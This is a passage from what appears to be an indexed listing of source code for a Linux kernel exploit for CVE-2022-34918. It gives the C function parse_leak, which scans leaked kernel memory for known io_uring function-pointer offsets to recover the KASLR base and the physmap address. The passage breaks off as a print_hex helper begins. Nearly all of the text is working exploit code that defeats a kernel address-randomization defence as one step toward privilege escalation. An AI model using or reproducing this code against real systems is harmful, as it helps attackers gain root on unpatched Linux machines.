Function parse_leak

CVE-2022-34918/exploit/exploit.c:211–233

parse_leak(): find KASLR & physmap addr if percpu_ref_data->release == `io_ring_ctx_ref_free()` or `io_rsrc_node_ref_zero()`, we find KASLR then get percpu_ref_data->ref (physmap addr)

// if percpu_ref_data->release == `io_ring_ctx_ref_free()` or `io_rsrc_node_ref_zero()`, we find KASLR
// then get percpu_ref_data->ref (physmap addr)
struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
    struct leak *ret = malloc(sizeof(struct leak));
    if (!ret)
        error("malloc");

    for (uint32_t i = 0; i < buffer_size; i++) {
        // percpu_ref_data->release == io_ring_ctx_ref_free()
        if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
            ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
            ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
            return ret;
        }
        // percpu_ref_data->release == io_rsrc_node_ref_zero()
        else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
            ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
            ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
            return ret;
        }
    }

    free(ret);
    return NULL;
}

void print_hex( char *buf,int size){
    int i;